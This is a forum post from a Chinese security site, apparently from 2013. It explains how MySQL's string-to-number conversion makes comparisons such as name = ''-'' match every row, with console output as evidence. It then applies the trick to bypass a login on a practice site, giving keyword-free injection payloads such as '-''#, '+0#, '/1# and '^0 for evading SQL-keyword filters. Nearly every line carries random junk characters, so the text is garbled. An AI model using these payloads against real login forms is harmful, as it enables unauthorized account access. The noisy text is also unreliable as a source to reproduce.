找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1960|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。4 ^( {1 H: [$ b( n0 V' l1 Z, ]
有以下表结构: ; O& y- r; p/ a! Q; d
+ p) @3 b" ^/ K) e# b1 }
mysql> desc admin;
# j- x. D) Y: U# N9 S- b+----------+--------------+------+-----+---------+----------------+8 t) {0 o" e! q
| Field    | Type         | Null | Key | Default | Extra          |
, _( X- V" Y4 w! e4 W/ [8 p5 h, ?+----------+--------------+------+-----+---------+----------------+9 F, D# M' `, k. S( ~
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
! k, G. H' A8 A| name     | char(32)     | NO   | UNI | NULL    |                |. b: @4 i- _( V
| password | char(32)     | NO   | UNI | NULL    |                |
/ g- Y: A& D; {4 ?+----------+--------------+------+-----+---------+----------------+/ x. c' Z7 t6 F' J  t; B
3 rows in set (0.00 sec)* P& p) ?' I) e5 L8 Z9 ^: B3 K: K
执行select * from admin;,成功返回所有记录内容。3 F: D% z7 ^- S- F

* `  O) H+ B/ m3 x8 ?! u
+ W4 s' q1 @4 L) v/ ^6 R+----+--------+----------------------------------+9 k; r( }2 S/ l$ D$ E* J5 M
| id | name   | password                         |, b7 ^$ K9 |$ c3 Z
+----+--------+----------------------------------+
" v; t- w1 ?0 X* A6 j|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
# @, [  n! G/ ?: q* W|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- B5 h- o, u+ o$ d" P% N|  4 | n00b   | ff80e8508d39047460921792273533a4 |; t. V7 E4 z7 l
+----+--------+----------------------------------+) V6 k& q; r% b9 g, P# C" d' e
3 rows in set (0.00 sec)3 {7 H0 K. [5 v$ Y5 U3 a
执行select * from admin where name=”;,没有匹配到任何记录。 / I9 a/ w1 u1 ?4 K3 ]! o3 c
  {# x5 i/ \, Z& n( h4 L7 b
mysql> select * from admin where name = '';
) w1 d. V6 W! c: g& I6 i9 fEmpty set (0.00 sec)5 u1 ^5 O# [7 I5 v
那么我们来执行select * from admin where name = ”-”;3 E: x& a6 A9 p. q$ Z2 i. @, `- U

; y. k# Z' T& F- n) q1 v: p* ^
4 j5 f. r, O$ y! n; w& u+----+--------+----------------------------------+
* \4 T2 w; j/ u) U$ \4 I/ j3 b| id | name   | password                         |, Q; o0 H3 w0 ~" g; A" l& x
+----+--------+----------------------------------+0 w5 z8 ]  Q/ {" _7 F# H
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
4 d7 \' M% k# L0 x$ Z. d- M|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
& @: N# e$ U' ^4 P|  4 | n00b   | ff80e8508d39047460921792273533a4 |
3 m( X1 L0 S& ?+ E+----+--------+----------------------------------+( I2 r) J* m  s
3 rows in set, 3 warnings (0.00 sec)6 p  w) M. H1 G, T& s' x6 t
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
( T7 S/ S+ M5 [' v6 @/ E; B6 t& B# }/ X3 c( w: E  E4 e8 i
mysql> show warnings;, X3 u# X, u* w5 o
+---------+------+------------------------------------------' D' r, U7 h" G1 h0 o( J' P: L4 V
| Level   | Code | Message
. H' H. \: Q6 s* e6 \+---------+------+------------------------------------------
% F" n$ Z& B9 }& g$ |9 o" @4 F( K| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin+ \; t* L* d0 }1 M, y# D5 h( _: ^
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
3 t$ B+ x2 T) v1 M& [5 L| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b9 g& C+ J% K5 G+ z6 B  ~$ L4 m) {
+---------+------+------------------------------------------
, m  d! ~, \6 i) j6 j3 rows in set (0.00 sec)
  Q1 |$ f4 t9 D" M6 @3 z9 g! H提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 * n* [4 d! g7 A7 g

( q4 C) w3 d8 }; tmysql> select ''-'';
! I. c& |! G8 `, E" H+-------+
1 [/ E7 h: c4 w9 l- m$ v4 ^| ''-'' |4 g+ C% L2 m4 w* h8 W3 |) F+ ^
+-------+
. b9 ?  \) I- k& _/ O1 f4 S|     0 |5 x; ~: M2 L( P6 x" I/ W
+-------+: A! q0 e7 P/ o2 o0 e" w. W* P3 ?3 J: N- T
1 row in set (0.00 sec)
+ a1 K* w( s0 h: ?, H返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
8 U0 b- ~" W- e5 ~5 y" z" `
- @0 G7 r. \* C" S( ~/ emysql> select CAST((select name from admin limit 1,1) as DECIMAL);+ r2 Y+ I7 ]: O/ L+ v% Z# W
+-----------------------------------------------------+1 }# h) R5 v8 e& i6 A0 [! G/ n
| CAST((select name from admin limit 1,1) as DECIMAL) |5 h! L9 J- t; e1 o
+-----------------------------------------------------+
  h) |/ o" I" m+ m3 \|                                                   0 |
0 s( Z) Y: p: d" G/ z+-----------------------------------------------------+
# h7 ?* j4 g8 w( o, [1 row in set, 1 warning (0.00 sec)
/ y( N" }% A3 E! z因此where语句构成了相等的条件,where 0=”=”,记录被返回。 - n: j+ Y+ a/ t( D0 M
( P# V7 y( E" P* w. U5 x
SQL注入场景: http://www.sqlzoo.net/hack/
$ }# J, w8 p: u' u! `/ R4 q! B7 R. R2 l" P. V
/ A$ X- V; |# U$ _' o

# q# D  a) P1 ^! G7 o7 `3 v& k& w( U9 G3 g) t* Q- B8 K
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ) J& N  {6 H8 Z2 g
1 I  j7 `* A# B0 b* ~) g" W! X
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
& I7 I& O# a! U) D8 e! c5 m
* D+ F& _7 d% q6 W$ g3 y3 l9 u0 S* Z3 k& Z0 k1 f2 M& X9 U3 T

) j- M3 a$ n/ |% n6 S, M' z
: S: R3 ?7 m& z仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 9 u0 d* m' @1 y& A4 ^6 W/ y/ ]. H
4 A9 y! `6 N6 h. [
   
9 V, n1 j# G7 V; i7 q
# s( W* x4 J; Q% @( P5 |4 F除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可% Z# E, o" {0 W+ N: b3 v( p" ?3 O/ j  k  O
9 e; r4 O5 b( G# n' j6 K6 B1 U
; p: ?6 ]# q5 O; e. L& g5 V
mysql> select ''/1;
; o. _3 M4 W" |- I+------+
8 H$ ~3 U/ W5 D" b5 d! t% t$ D4 f4 z. m| ''/1 |3 j/ ^' L+ }' ]$ ~5 P' H
+------+
3 ]8 E: `7 J8 I- q. g! o|    0 |; K3 ^% O. q- T7 ^& x, Z% c( B: h1 j
+------+
( g" D) m5 ]% ~6 C8 P7 t$ \1 row in set (0.00 sec)
' e3 J' m3 Y5 ]( O* P5 R类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
- [3 n  o; N) g5 l
0 K! z6 d# B" ?" r: k利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。% f9 a# }3 S( I' S2 \5 {5 {/ k1 ~8 N, q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表